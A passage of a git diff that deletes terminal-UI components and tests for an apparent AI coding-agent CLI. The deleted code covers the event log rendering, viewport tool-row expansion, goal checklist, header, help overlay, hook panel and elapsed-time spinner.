resolveViewportExpandIds({ - blocks: state.blocks, - blockLineStarts: state.blockLineStarts, - lineCount: state.lines.length, - prefixLineCount: 0, - visibleRows, - scrollOffset: midOffset, - atBottom: false, - previousIds: first, - enterBufferRows: 0, - holdBufferRows: 40, - maxToolCalls: DEFAULT_MAX_VIEWPORT_EXPAND_TOOL_CALLS, - }); - // Sticky: shell-11 remains even though enter buffer would drop it. - const enterOnly = viewportToolIds({ - blocks: state.blocks, - blockLineStarts: state.blockLineStarts, - lineCount: state.lines.length, - prefixLineCount: 0, - visibleRows, - scrollOffset: midOffset, - atBottom: false, - bufferRows: 0, - }); - if (!enterOnly.has("shell-11")) { - expect(held.has("shell-11")).toBe(true); - } - }); - - test("drops sticky tools once they leave the hold buffer", () => { - const blocks: ContentBlock[] = []; - for (let i = 0; i < 20; i++) blocks.push(...toolPair(i, 8)); - const state = buildLinesIncremental(undefined, blocks, COLUMNS, false, isExpanded); - const visibleRows = 6; - const previous = new Set(["shell-0", "result-0"]); - const next = resolveViewportExpandIds({ - blocks: state.blocks, - blockLineStarts: state.blockLineStarts, - lineCount: state.lines.length, - prefixLineCount: 0, - visibleRows, - scrollOffset: 0, - atBottom: true, - previousIds: previous, - enterBufferRows: 0, - holdBufferRows: 0, - maxToolCalls: DEFAULT_MAX_VIEWPORT_EXPAND_TOOL_CALLS, - }); - expect(next.has("shell-0")).toBe(false); - expect(next.has("shell-19")).toBe(true); - }); - - test("caps dense enter sets to the hang-safe budget", () => { - const blocks: ContentBlock[] = []; - for (let i = 0; i < 40; i++) blocks.push(...toolPair(i, 1)); - const state = buildLinesIncremental(undefined, blocks, COLUMNS, false, isExpanded); - const next = resolveViewportExpandIds({ - blocks: state.blocks, - blockLineStarts: state.blockLineStarts, - lineCount: state.lines.length, - prefixLineCount: 0, - visibleRows: 80, - scrollOffset: 0, - atBottom: true, - previousIds: new Set(), - enterBufferRows: 80, - holdBufferRows: 160, - maxToolCalls: 6, - }); - const callCount = [...next].filter((id) => id.startsWith("shell-")).length; - expect(callCount).toBeLessThanOrEqual(6); - }); -}); - -describe("viewport-local expand", () => { - test("expanding only a subset keeps far tools collapsed", () => { - const RESULT_LINES = 80; - const blocks: ContentBlock[] = []; - for (let i = 0; i < 10; i++) { - blocks.push(...toolPair(i, RESULT_LINES)); - } - - const collapsed = buildLinesIncremental(undefined, blocks, COLUMNS, false, isExpanded); - const collapsedLen = collapsed.lines.length; - - // Expand only the last pair (simulating a bottom-pinned viewport). - const expandedIds = new Set(["shell-9", "result-9"]); - const partial = buildLinesIncremental( - undefined, - blocks, - COLUMNS, - false, - (block) => expandedIds.has(block.id), - ); - - // Fully expanded would be many times larger; partial should grow by roughly - // one tool's expanded body, not ten. - const fullyExpanded = buildLinesIncremental( - undefined, - blocks, - COLUMNS, - false, - () => true, - ); - - expect(partial.lines.length).toBeGreaterThan(collapsedLen); - expect(partial.lines.length).toBeLessThan(fullyExpanded.lines.length / 2); - // Off-viewport early tools stay short: the first call's line span should - // remain near the collapsed single-row merge height. - const firstCallLines = partial.blockRenderLineCounts[0] ?? 0; - expect(firstCallLines).toBeLessThanOrEqual(4); - }); - - test("explicit expand still works outside the viewport set", () => { - const blocks: ContentBlock[] = []; - for (let i = 0; i < 5; i++) { - blocks.push(...toolPair(i, 60)); - } - // Viewport set empty; only explicit Ctrl+R on an early tool. - const explicit = new Set(["shell-0", "result-0"]); - const state = buildLinesIncremental( - undefined, - blocks, - COLUMNS, - false, - (block) => explicit.has(block.id), - ); - // Expanded body lives on the tool_result; the call is still a short header. - const firstResultLines = state.blockRenderLineCounts[1] ?? 0; - // Last pair stays merged/collapsed — lines land on the call (index n-2). - const lastCallLines = state.blockRenderLineCounts[state.blocks.length - 2] ?? 0; - expect(firstResultLines).toBeGreaterThan(4); - expect(lastCallLines).toBeLessThanOrEqual(4); - }); - - test("partial expand line count scales with the set size, not total tools", () => { - const RESULT_LINES = 100; - const blocks: ContentBlock[] = []; - for (let i = 0; i < 20; i++) { - blocks.push(...toolPair(i, RESULT_LINES)); - } - - const expandTwo = new Set(["shell-18", "result-18", "shell-19", "result-19"]); - const two = buildLinesIncremental( - undefined, - blocks, - COLUMNS, - false, - (block) => expandTwo.has(block.id), - ); - - const expandAll = buildLinesIncremental( - undefined, - blocks, - COLUMNS, - false, - () => true, - ); - - // Full expand hits the rendered-line budget; two tools stay well under it. - expect(two.lines.length).toBeLessThan(expandAll.lines.length); - expect(two.lines.length).toBeLessThan(Math.floor(DEFAULT_MAX_RENDERED_LOG_LINES / 2)); - }); -}); - -describe("task tool rows", () => { - const taskArgs = JSON.stringify({ - description: "map callers of leaveObserve", - prompt: "secret full brief with intent and maxTurns", - agent: "explore", - intent: "explore", - maxTurns: 12, - }); - const reportBody = [ - "## Summary", - "Found 3 call sites in app.tsx", - "", - "## Findings", - "- enterObserveChrome", - "- leaveObserveChrome", - ].join("\n"); - - test("collapsed task row shows curated description, not spawn brief fields", () => { - const blocks: ContentBlock[] = [ - toolCallBlock("t1", "task", taskArgs, "t1"), - toolResultBlock("tr1", "t1", "task", reportBody), - ]; - const lines = lineText(buildLines(blocks, COLUMNS, false, isExpanded)); - const joined = lines.join("\n"); - expect(joined).toContain("map callers of leaveObserve"); - expect(joined).toContain("Found 3 call sites in app.tsx"); - expect(joined).not.toContain("secret full brief"); - expect(joined).not.toContain("maxTurns"); - expect(joined).not.toContain("intent"); - expect(joined).not.toContain("## Summary"); - }); - - test("expanded task result shows report body without collapsing to preview only", () => { - const blocks: ContentBlock[] = [ - toolCallBlock("t2", "task", taskArgs, "t2"), - toolResultBlock("tr2", "t2", "task", reportBody), - ]; - const expanded = new Set(["t2", "tr2"]); - const lines = lineText(buildLines(blocks, COLUMNS, false, (b) => expanded.has(b.id))); - const joined = lines.join("\n"); - // Expanded should surface findings, not only the one-line summary preview. - expect(joined).toContain("Found 3 call sites in app.tsx"); - expect(joined).toMatch(/enterObserveChrome|Findings/); - }); -}); - diff --git a/src/tui/components/event-log.tsx b/src/tui/components/event-log.tsx deleted file mode 100644 index 6a2daea6b..000000000 --- a/src/tui/components/event-log.tsx +++ /dev/null @@ -1,169 +0,0 @@ -import { Box, Text } from "ink"; -import { memo, useMemo, type ReactNode } from "react"; -import { formatElapsed } from "./in-flight-indicator.js"; -import { elapsedMsFromAnchor } from "../hooks/use-spinner.js"; -import type { StyledSegment } from "../markdown-parser.js"; -import type { StyledLine } from "../view/index.js"; -import { stringWidth } from "../view/height.js"; -import { color } from "../theme.js"; -import { inkPropsForSegment } from "../styled-segment-props.js"; -import { osc8Hyperlink } from "../osc8.js"; -import { - RUNNING_ELAPSED_RESERVE, - lineWindow, - mergeAdjacentSegments, - runningStartOfLine, - uniformBackground, -} from "./event-log-assembly.js"; - -export { - buildLines, - buildLinesIncremental, - buildResourceBanner, - capViewportToolIds, - blockIdsInLineRange, - clearMarkdownLineCache, - DEFAULT_MAX_RENDERED_LOG_LINES, - DEFAULT_MAX_VIEWPORT_EXPAND_TOOL_CALLS, - isRenderable, - lineWindow, - maxLineOffset, - renderableBlocks, - resolveViewportExpandIds, - RUNNING_ELAPSED_RESERVE, - TEXT_GUTTER, - viewportToolIds, - type IncrementalLinesState, - type PlanContext, - type RenderableBlock, - type ResolveViewportExpandIdsArgs, - type ViewportToolIdsArgs, -} from "./event-log-assembly.js"; - -export type EventLogProps = { - lines: StyledLine[]; - scrollOffset: number; - visibleRows: number; - width: number; -}; - -function segmentProps(seg: StyledSegment) { - return inkPropsForSegment(seg); -} - -type RenderedLineProps = { - line: StyledLine; - width: number; -}; - -const RenderedLine = memo(function RenderedLine({ line, width }: RenderedLineProps): ReactNode { - const segments = useMemo(() => { - const textWidth = line.reduce((n, s) => n + stringWidth(s.text), 0); - const pad = Math.max(0, width - textWidth); - const rowBg = uniformBackground(line); - const padSeg: StyledSegment = { text: " ".repeat(pad), ...(rowBg !== undefined ? { backgroundColor: rowBg } : {}) }; - const padded = pad > 0 ? [...line, padSeg] : line; - return mergeAdjacentSegments(padded); - }, [line, width]); - - return ( - - {segments.map((seg, i) => ( - - {seg.linkUrl !== undefined && seg.linkUrl.length > 0 ? osc8Hyperlink(seg.linkUrl, seg.text) : seg.text} - - ))} - - ); -}, (prev, next) => prev.line === next.line && prev.width === next.width); - -type RunningToolRowProps = { - line: StyledLine; - width: number; - startedAt: number; -}; - -// The session's single live spinner lives in the bottom status row -// (InFlightIndicator); a pending transcript row must not animate a second one. -// This glyph is fixed rather than driven by a ticking interval, so the row -// never re-renders on its own — it only repaints when the shared lines change. -const PENDING_GLYPH = "○"; - -// A pending tool row shows a static "still running" marker — glyph plus -// elapsed-so-far clock — without a repaint interval of its own, since that -// would draw a second animated spinner alongside the status row's. -const RunningToolRow = memo(function RunningToolRow({ line, width, startedAt }: RunningToolRowProps): ReactNode { - const hasSpinner = line[0]?.toolRunningSince !== undefined; - const hasElapsed = line[line.length - 1]?.toolRunningSince !== undefined; - const segments = useMemo(() => { - // The glyph occupies the indent gutter the anchor seg held (glyph + space), - // so the headline text keeps its column and the row width stays stable. - // The glyph and clock replace/extend the anchor segments, which may carry - // a status-card backgroundColor (pending wash) — preserve it so the wash - // does not break at the glyph or clock boundary. - const rowBg = line[0]?.backgroundColor; - const bgProp = rowBg !== undefined ? { backgroundColor: rowBg } : {}; - const head: StyledLine = hasSpinner - ? [{ text: `${PENDING_GLYPH} `, color: color("live"), ...bgProp }, ...line.slice(1)] - : [...line]; - // The clock is the one datum this row exists to show. Trim it to the - // reserved width so an hour-plus elapsed can never soft-wrap the row. - const elapsedMs = elapsedMsFromAnchor(startedAt); - const clock = ` · ${formatElapsed(elapsedMs)}`.slice(0, RUNNING_ELAPSED_RESERVE); - const composed: StyledLine = hasElapsed - ? [...head, { text: clock, color: color("text"), ...bgProp }] - : head; - const textWidth = composed.reduce((n, s) => n + stringWidth(s.text), 0); - const pad = Math.max(0, width - textWidth); - const composedBg = uniformBackground(composed); - const padSeg: StyledSegment = { - text: " ".repeat(pad), - ...(composedBg !== undefined ? { backgroundColor: composedBg } : {}), - }; - const padded = pad > 0 ? [...composed, padSeg] : composed; - return mergeAdjacentSegments(padded); - }, [line, width, hasSpinner, hasElapsed, startedAt]); - - // Truncate rather than wrap: the live clock is appended outside the wrap budget, - // so on an unreserved wide row (a shell command near full width) it clips at the - // column edge instead of soft-wrapping onto a second terminal line, which would - // desync the fixed-row viewport accounting until the tool completes. - return ( - - {segments.map((seg, i) => ( - - {seg.text} - - ))} - - ); -}); - -// Memoized so typing in the prompt — which re-renders the App shell on every -// keystroke — does not re-walk the visible window unless the lines, scroll -// position, or viewport actually change. -export const EventLog = memo(function EventLog({ - lines, - scrollOffset, - visibleRows, - width, -}: EventLogProps): ReactNode { - const contentWidth = Math.max(1, width); - const { start, end } = lineWindow(lines, scrollOffset, visibleRows); - const visible = lines.slice(start, end); - const missingRows = Math.max(0, visibleRows - visible.length); - - // Pad above the window so short transcripts sit on the last row of the viewport, - // flush with the prompt chrome instead of leaving a dead band at the bottom. - return ( - - {Array.from({ length: missingRows }, (_, i) => )} - {visible.map((line, i) => { - const startedAt = runningStartOfLine(line); - return startedAt !== undefined - ? - : ; - })} - - ); -}); diff --git a/src/tui/components/exit-confirm.tsx b/src/tui/components/exit-confirm.tsx deleted file mode 100644 index 6070411f3..000000000 --- a/src/tui/components/exit-confirm.tsx +++ /dev/null @@ -1,38 +0,0 @@ -import { Box, Text, useInput } from "ink"; -import type { ReactNode } from "react"; -import { color } from "../theme.js"; -import { PRODUCT_NAME } from "../../branding.js"; - -export type ExitConfirmProps = { - onConfirm: () => void; - onCancel: () => void; - inline?: boolean; -}; - -export function ExitConfirm({ onConfirm, onCancel, inline = false }: ExitConfirmProps): ReactNode { - useInput((input, key) => { - if (key.return || input === "y" || input === "Y") { - onConfirm(); - return; - } - if (key.escape || input === "n" || input === "N") { - onCancel(); - } - }); - - if (inline) { - return ( - - Exit {PRODUCT_NAME}? - (y/n) - - ); - } - - return ( - - Exit {PRODUCT_NAME}? - (y/n) - - ); -} diff --git a/src/tui/components/form-reflow.test.ts b/src/tui/components/form-reflow.test.ts deleted file mode 100644 index 929701600..000000000 --- a/src/tui/components/form-reflow.test.ts +++ /dev/null @@ -1,102 +0,0 @@ -import { describe, test, expect } from "bun:test"; -import { - STACK_FORM_COLUMNS, - fitTrailingText, - formContentWidth, - wrapHelpSegments, -} from "./form-reflow.js"; - -describe("fitTrailingText", () => { - test("returns the full string when it fits", () => { - expect(fitTrailingText("hello", 10)).toBe("hello"); - }); - - test("keeps the trailing slice with an ellipsis when truncated", () => { - expect(fitTrailingText("abcdefghijklmnopqrstuvwxyz", 10)).toBe("…rstuvwxyz"); - }); - - test("handles a one-cell budget", () => { - expect(fitTrailingText("long-value", 1)).toBe("…"); - }); - - test("returns empty for non-positive budgets", () => { - expect(fitTrailingText("x", 0)).toBe(""); - expect(fitTrailingText("x", -3)).toBe(""); - }); - - test("truncates by display width for CJK (two cells each)", () => { - // "你好世界" is 8 cells; budget 5 → "…" (1) + last two chars (4) = 5 - expect(fitTrailingText("你好世界", 5)).toBe("…世界"); - }); - - test("truncates by display width for emoji", () => { - // each rocket is 2 cells; budget 5 → "…" (1) + two rockets (4) = 5 - expect(fitTrailingText("🚀🚀🚀🚀", 5)).toBe("…🚀🚀"); - }); - - test("never exceeds the column budget after truncation", () => { - const samples = ["hello world", "你好世界测试", "a🚀b🚀c🚀d", "abcdefghijklmnopqrstuvwxyz"]; - for (const text of samples) { - for (const width of [1, 2, 3, 5, 8, 10]) { - const out = fitTrailingText(text, width); - // stringWidth is exercised via the public API; Bun.stringWidth matches. - expect(Bun.stringWidth(out)).toBeLessThanOrEqual(Math.max(0, width)); - } - } - }); -}); - -describe("wrapHelpSegments", () => { - const formHelp = [ - "Up/Down fields", - "Left/Right toggle keyless", - "Enter next/save", - "Esc cancel", - ]; - - test("keeps a short help line as a single row", () => { - expect(wrapHelpSegments(formHelp, 80)).toEqual([ - "Up/Down fields · Left/Right toggle keyless · Enter next/save · Esc cancel", - ]); - }); - - test("splits help into multiple rows at ~40 columns", () => { - const lines = wrapHelpSegments(formHelp, 40); - expect(lines.length).toBeGreaterThan(1); - for (const line of lines) { - expect(Bun.stringWidth(line)).toBeLessThanOrEqual(40); - } - expect(lines.join(" · ")).toContain("Up/Down fields"); - expect(lines.join(" · ")).toContain("Esc cancel"); - }); - - test("fits each segment at ~40–60 columns used by split panes", () => { - for (const width of [40, 48, 56, 60]) { - const lines = wrapHelpSegments(formHelp, width); - expect(lines.length).toBeGreaterThan(0); - for (const line of lines) { - expect(Bun.stringWidth(line)).toBeLessThanOrEqual(Math.max(8, width)); - } - } - }); -}); - -describe("formContentWidth", () => { - test("accounts for margin and padding chrome", () => { - // wide: margin 2 + padding 4 = 6 - expect(formContentWidth(80, false)).toBe(74); - // narrow: margin 2 + padding 2 = 4 - expect(formContentWidth(40, true)).toBe(36); - }); - - test("never drops below a usable minimum", () => { - expect(formContentWidth(8, true)).toBe(12); - }); -}); - -describe("STACK_FORM_COLUMNS", () => { - test("threshold sits inside the 40–60 column manual-check band", () => { - expect(STACK_FORM_COLUMNS).toBeGreaterThanOrEqual(40); - expect(STACK_FORM_COLUMNS).toBeLessThanOrEqual(60); - }); -}); diff --git a/src/tui/components/form-reflow.ts b/src/tui/components/form-reflow.ts deleted file mode 100644 index 0c7efed58..000000000 --- a/src/tui/components/form-reflow.ts +++ /dev/null @@ -1,62 +0,0 @@ -// Shared layout helpers for settings / agent forms on narrow terminals. - -import { stringWidth } from "../view/height.js"; - -/** Stack labels above values below this terminal width. */ -export const STACK_FORM_COLUMNS = 56; - -/** Outer chrome: marginX(1)*2 + paddingX (2 wide / 1 narrow)*2. */ -export function formContentWidth(columns: number, narrow: boolean): number { - const padX = narrow ? 1 : 2; - return Math.max(12, columns - 2 - padX * 2); -} - -/** - * Caret sits at the end of append-only fields; keep the trailing slice so the - * insertion point stays on-screen when the value is longer than the pane. - * Budget is terminal columns (display width), not UTF-16 length — CJK and - * emoji are two cells each. - */ -export function fitTrailingText(text: string, maxWidth: number): string { - if (maxWidth <= 0) return ""; - if (stringWidth(text) <= maxWidth) return text; - if (maxWidth === 1) return "…"; - - // Walk code points from the end until the trailing slice fills maxWidth - 1 - // (one cell reserved for the leading ellipsis). - const budget = maxWidth - 1; - const units = Array.from(text); - let used = 0; - let start = units.length; - for (let i = units.length - 1; i >= 0; i--) { - const cw = stringWidth(units[i]!); - if (used + cw > budget) break; - used += cw; - start = i; - } - return `…${units.slice(start).join("")}`; -} - -/** Pack " · "-separated help segments into lines that fit the pane. */ -export function wrapHelpSegments(segments: readonly string[], maxWidth: number): string[] { - if (segments.length === 0) return []; - const width = Math.max(8, maxWidth); - const lines: string[] = []; - let current = ""; - for (const segment of segments) { - if (segment.length === 0) continue; - if (current.length === 0) { - current = stringWidth(segment) > width ? fitTrailingText(segment, width) : segment; - continue; - } - const candidate = `${current} · ${segment}`; - if (stringWidth(candidate) <= width) { - current = candidate; - continue; - } - lines.push(current); - current = stringWidth(segment) > width ? fitTrailingText(segment, width) : segment; - } - if (current.length > 0) lines.push(current); - return lines; -} diff --git a/src/tui/components/goal-view.tsx b/src/tui/components/goal-view.tsx deleted file mode 100644 index f74995afa..000000000 --- a/src/tui/components/goal-view.tsx +++ /dev/null @@ -1,294 +0,0 @@ -import { Box, Text } from "ink"; -import { - formatGoalCompleted, - goalCriteriaProgress, - type GoalCriterion, - type GoalCriterionStatus, - type GoalPhase, - type GoalSnapshot, - type GoalStatus, -} from "../../agent/goal.js"; -import { color } from "../theme.js"; -import { useTerminalSize } from "../hooks/use-terminal-size.js"; - -export type GoalViewProps = { - goal: GoalSnapshot; - /** When true, show only brief + phase strip (implementing phase). */ - compact?: boolean; -}; - -const GLYPH: Record = { - todo: "○", - doing: "●", - done: "✓", - blocked: "!", - cancelled: "✗", -}; - -/** Compact phase labels for narrow TUI chrome (full words in /status). */ -const PHASE_SHORT: Record = { - planning: "plan", - implementing: "impl", - reviewing: "review", - completed: "done", -}; - -const PHASE_ORDER: readonly GoalPhase[] = [ - "planning", - "implementing", - "reviewing", - "completed", -]; - -/** Full trail `plan→impl→review→done` needs ~23 cols; below this show current only. */ -const PHASE_TRAIL_MIN_COLS = 48; - -/** - * Expanded acceptance checklist — primary goal surface. - * Quiet styling (muted labels, no bright accent wash). - * On achieve: freezes on "Goal completed in …" and stops looking like work-in-progress. - * Width-constrained so long briefs/criteria truncate instead of colliding with Work/footer. - */ -export function GoalView({ goal, compact }: GoalViewProps) { - // Hooks must run unconditionally — mount can flip inactive without unmount. - const { columns } = useTerminalSize(); - - if (goal.status === "inactive" || goal.status === "cleared") return null; - - const phase = goal.phase; - const progress = goalCriteriaProgress(goal.criteria); - const brief = goal.brief || goal.condition; - const quiet = isQuietStatus(goal.status); - const completed = formatGoalCompleted(goal); - const narrow = columns < PHASE_TRAIL_MIN_COLS; - - if (completed !== null) { - return ( - - - - - Goal - - - - - {completed} - - - {progress.total > 0 && ( - - - {`${progress.done}/${progress.total}`} - - - )} - - - {goal.criteria.length > 0 && - sortedCriteria(goal.criteria).map((c) => )} - - ); - } - - if (compact || goal.criteria.length === 0) { - return ( - - - - {goal.criteria.length === 0 && phase === "planning" && ( - - planning acceptance… - - )} - - ); - } - - return ( - - 0 ? `${progress.done}/${progress.total}` : null} - status={!quiet ? goal.status : null} - quiet={quiet} - /> - - {sortedCriteria(goal.criteria).map((c) => ( - - ))} - {goal.lastReason !== undefined && goal.lastReason.length > 0 && ( - - - {goal.lastReason} - - - )} - - ); -} - -function HeaderRow(props: { - label: string; - phase: GoalPhase; - narrow: boolean; - progress: string | null; - status: GoalStatus | null; - quiet: boolean; -}) { - const { label, phase, narrow, progress, status, quiet } = props; - return ( - - - - {label} - - - - - - {progress !== null && ( - - - {progress} - - - )} - {status !== null && ( - - - {status} - - - )} - - ); -} - -function BriefLine({ brief, dim }: { brief: string; dim?: boolean }) { - return ( - - {dim ? ( - - {brief} - - ) : ( - {brief} - )} - - ); -} - -function CriterionRow({ criterion: c }: { criterion: GoalCriterion }) { - const terminal = c.status === "done" || c.status === "cancelled"; - return ( - - - {GLYPH[c.status]} - - - - {c.title} - - - {c.note !== undefined && c.note.length > 0 && ( - - - {c.note} - - - )} - - ); -} - -/** plan → impl → review → done; on narrow terminals show only the current phase. */ -function PhaseTrail({ phase, narrow }: { phase: GoalPhase; narrow: boolean }) { - if (narrow) { - return ( - - {PHASE_SHORT[phase]} - - ); - } - const idx = PHASE_ORDER.indexOf(phase); - return ( - - {PHASE_ORDER.map((p, i) => { - const current = p === phase; - const sep = i > 0 ? "→" : ""; - return ( - - {sep} - {PHASE_SHORT[p]} - - ); - })} - - ); -} - -function sortedCriteria(criteria: GoalCriterion[]): GoalCriterion[] { - const rank: Record = { - doing: 0, - blocked: 1, - todo: 2, - done: 3, - cancelled: 4, - }; - return [...criteria].sort((a, b) => rank[a.status] - rank[b.status]); -} - -function isQuietStatus(status: GoalStatus): boolean { - return status === "active" || status === "paused"; -} - -function statusColor(status: GoalStatus): string { - switch (status) { - case "achieved": - return color("success"); - case "budget_limited": - case "blocked": - return color("warning"); - case "paused": - return color("muted"); - case "active": - return color("muted"); - case "cleared": - case "inactive": - return color("dim"); - } -} - -function criterionColor(status: GoalCriterionStatus): string { - switch (status) { - case "done": - return color("success"); - case "doing": - return color("text"); - case "blocked": - return color("warning"); - case "cancelled": - return color("danger"); - case "todo": - return color("muted"); - } -} diff --git a/src/tui/components/header.tsx b/src/tui/components/header.tsx deleted file mode 100644 index c711fac69..000000000 --- a/src/tui/components/header.tsx +++ /dev/null @@ -1,125 +0,0 @@ -import type { ReactNode } from "react"; -import { Box, Text } from "ink"; -import { color } from "../theme.js"; -import type { GoalSnapshot } from "../../agent/goal.js"; -import { - formatGoalCompleted, - formatGoalTurns, - goalCriteriaProgress, - isUnlimitedTurnBudget, -} from "../../agent/goal.js"; - -export type HeaderWorkflow = { - name: string; - stepIndex: number; - total: number; - label: string; -}; - -export type HeaderFocusedAgent = { - agentId: string; - description: string; - status: string; -}; - -export type HeaderProps = { - latestUserMessage: string; - width: number; - profile?: string; - workflow?: HeaderWorkflow; - // When set, the operator is observing a sub-agent session (not the parent). - focusedAgent?: HeaderFocusedAgent; - /** Active session goal. */ - goal?: GoalSnapshot | null; -}; - -function truncate(s: string, max: number): string { - if (max <= 1) return s.slice(0, Math.max(0, max)); - return s.length <= max ? s : `${s.slice(0, max - 1)}…`; -} - -/** Compact header chip: lifecycle phase + acceptance progress, or frozen complete. */ -function goalLine(goal: GoalSnapshot, width: number): string { - const completed = formatGoalCompleted(goal); - if (completed !== null) { - return truncate(completed, Math.max(20, width - 4)); - } - const progress = goalCriteriaProgress(goal.criteria); - const parts: string[] = [goal.phase]; - if (progress.total > 0) { - parts.push(`${progress.done}/${progress.total}`); - } - if (goal.status !== "active") { - parts.push(goal.status); - } - // Only surface turns when the operator set a finite budget (and still running). - if (!isUnlimitedTurnBudget(goal.turnBudget)) { - parts.push(formatGoalTurns(goal.turnsUsed, goal.turnBudget)); - } - return truncate(parts.join(" · "), Math.max(20, width - 4)); -} - -export function Header({ - latestUserMessage, - width, - profile, - workflow, - focusedAgent, - goal, -}: HeaderProps): ReactNode { - const showGoal = - goal !== undefined && - goal !== null && - goal.status !== "inactive" && - goal.status !== "cleared"; - - return ( - - - - {profile !== undefined && profile.length > 0 && ( - [{profile}] - )} - {focusedAgent !== undefined && ( - - {truncate( - `◉ ${focusedAgent.agentId}: ${focusedAgent.description} (${focusedAgent.status})`, - Math.max(24, Math.floor(width * 0.7)), - )} - - )} - {workflow !== undefined && focusedAgent === undefined && ( - - - ⟳ {truncate(`${workflow.name} · ${workflow.stepIndex + 1}/${workflow.total} ${workflow.label}`, Math.max(16, Math.floor(width * 0.4)))} - - - )} - {showGoal && focusedAgent === undefined && ( - - - ◈ {goalLine(goal!, Math.max(16, Math.floor(width * 0.5)))} - - - )} - - - {latestUserMessage.length > 0 && focusedAgent === undefined && ( - ▸ {truncate(latestUserMessage, Math.max(20, width - 4))} - )} - {focusedAgent !== undefined && ( - - Observing sub-agent · parent keeps running · esc returns - - )} - - ); -} diff --git a/src/tui/components/help-overlay.tsx b/src/tui/components/help-overlay.tsx deleted file mode 100644 index 7c2742e13..000000000 --- a/src/tui/components/help-overlay.tsx +++ /dev/null @@ -1,53 +0,0 @@ -import { Box, Text, useInput } from "ink"; -import type { ReactNode } from "react"; -import { color } from "../theme.js"; -import { SHORTCUTS, SLASH_COMMANDS, type ShortcutEntry } from "../keymap-table.js"; - -export type HelpOverlayProps = { - onClose: () => void; -}; - -function Row({ entry }: { entry: ShortcutEntry }): ReactNode { - return ( - - - {entry.keys} - - {entry.description} - - ); -} - -export function HelpOverlay({ onClose }: HelpOverlayProps): ReactNode { - useInput((_input, key) => { - if (key.escape || key.return) onClose(); - }); - - return ( - - Keyboard Shortcuts - - {SHORTCUTS.map((entry) => ( - - ))} - - - Slash Commands - - - {SLASH_COMMANDS.map((entry) => ( - - ))} - - - ESC to close - - - ); -} diff --git a/src/tui/components/hook-panel.tsx b/src/tui/components/hook-panel.tsx deleted file mode 100644 index 844883ff9..000000000 --- a/src/tui/components/hook-panel.tsx +++ /dev/null @@ -1,44 +0,0 @@ -import { Box, Text } from "ink"; -import type { ReactNode } from "react"; - -import type { LifecycleHookStatus } from "../../session/hooks.js"; - -export type HookPanelProps = { - hooks: LifecycleHookStatus[]; -}; - -function formatTimestamp(value: number | undefined): string { - if (value === undefined) return "never"; - return new Date(value).toLocaleTimeString(); -} - -function formatExitStatus(hook: LifecycleHookStatus): string { - const status = hook.lastExitStatus; - if (status === undefined) return "pending"; - if (status.signal !== null) return `signal ${status.signal}`; - return status.code === 0 ? "ok" : `exit ${String(status.code)}`; -} - -export function HookPanel({ hooks }: HookPanelProps): ReactNode { - return ( - - - hooks {hooks.length === 0 ? "none registered" : `${hooks.length} registered`} - - {hooks.length === 0 ? ( - .corbits/hooks, ~/.corbits/hooks - ) : null} - {hooks.map((hook, index) => ( - - - {index + 1}. {hook.enabled ? "on " : "off"} {hook.name} {hook.type} - - - fired {formatTimestamp(hook.lastFiredAt)} status {formatExitStatus(hook)} - - {hook.path} - - ))} - - ); -} diff --git a/src/tui/components/in-flight-indicator.test.ts b/src/tui/components/in-flight-indicator.test.ts deleted file mode 100644 index 155cabcd8..000000000 --- a/src/tui/components/in-flight-indicator.test.ts +++ /dev/null @@ -1,31 +0,0 @@ -import { describe, test, expect } from "bun:test"; -import { formatElapsed, resolveLabel } from "./in-flight-indicator.js"; - -describe("resolveLabel", () => { - test("defaults to Thinking… when no label provided", () => { - expect(resolveLabel(undefined)).toBe("Thinking…"); - }); - - test("uses provided label when given", () => { - expect(resolveLabel("Running tool: test")).toBe("Running tool: test"); - expect(resolveLabel("Waiting for model")).toBe("Waiting for model"); - }); - - test("returns empty string when explicitly set", () => { - expect(resolveLabel("")).toBe(""); - }); -}); - -describe("formatElapsed", () => { - test("uses seconds for short waits", () => { - expect(formatElapsed(59_999)).toBe("59s"); - }); - - test("uses minutes and seconds after one minute", () => { - expect(formatElapsed(65_000)).toBe("1m 5s"); - }); - - test("uses hours, minutes, and seconds after one hour", () => { - expect(formatElapsed(3_665_000)).toBe("1h 1m 5s"); - }); -}); diff --git a/src/tui/components/in-flight-indicator.tsx b/src/tui/components/in-flight-indicator.tsx deleted file mode 100644 index cd0ce53c2..000000000 --- a/src/tui/components/in-flight-indicator.tsx +++ /dev/null @@ -1,122 +0,0 @@ -import { Box, Text } from "ink"; -import { useEffect, useState, type ReactNode } from "react"; -import { - elapsedMsFromAnchor, - SPINNER_FRAMES, - spinnerFrameAt, - SPINNER_FRAME_MS, -} from "../hooks/use-spinner.js"; -import { color } from "../theme.js"; -import { shouldShowProgressRow } from "../chrome-zones.js"; -import type { WorkflowStatus } from "../workflow-controller.js"; - -export type InlineWorkflowStatus = { - name: string; - stepIndex: number; - total: number; - label: string; -}; - -export type InFlightIndicatorProps = { - active: boolean; - /** Wall-clock anchor for cumulative elapsed; null while idle. */ - timingAnchor: number | null; - label?: string; - toolName?: string | null; - workflow?: InlineWorkflowStatus; -}; - -/** - * Live workflow chip for the progress row. Only while a named workflow is - * active — completed history must not pin the progress zone open after idle. - */ -export function resolveInlineWorkflowChip( - current: WorkflowStatus, -): InlineWorkflowStatus | undefined { - if (current.active && current.name !== undefined) { - return { - name: current.name, - stepIndex: current.stepIndex, - total: current.total, - label: current.label, - }; - } - return undefined; -} - - - -// Ink draws to the terminal — there is no CSS @keyframes. This hook is the -// lightest equivalent: one small subtree repaints on SPINNER_FRAME_MS, not App. -export function useInFlightVisuals(active: boolean, timingAnchor: number | null): { frame: string; elapsedMs: number } { - const [tick, setTick] = useState(0); - useEffect(() => { - if (!active) return undefined; - const id = setInterval(() => setTick((n) => n + 1), SPINNER_FRAME_MS); - return () => clearInterval(id); - }, [active]); - void tick; - const now = Date.now(); - return { - frame: active ? spinnerFrameAt(now) : SPINNER_FRAMES[0]!, - elapsedMs: active ? elapsedMsFromAnchor(timingAnchor, now) : 0, - }; -} - -// The "still working" hint only appears once a wait runs past this, so a fast -// reply never flashes a counter — only a genuinely slow one earns the seconds. -const SLOW_THRESHOLD_MS = 2000; - -export function resolveLabel(label: string | undefined): string { - return label ?? "Thinking…"; -} - -export function formatElapsed(elapsedMs: number): string { - const totalSeconds = Math.floor(elapsedMs / 1000); - if (totalSeconds < 60) return `${totalSeconds}s`; - - const seconds = totalSeconds % 60; - const totalMinutes = Math.floor(totalSeconds / 60); - if (totalMinutes < 60) return `${totalMinutes}m ${seconds}s`; - - const minutes = totalMinutes % 60; - const hours = Math.floor(totalMinutes / 60); - return 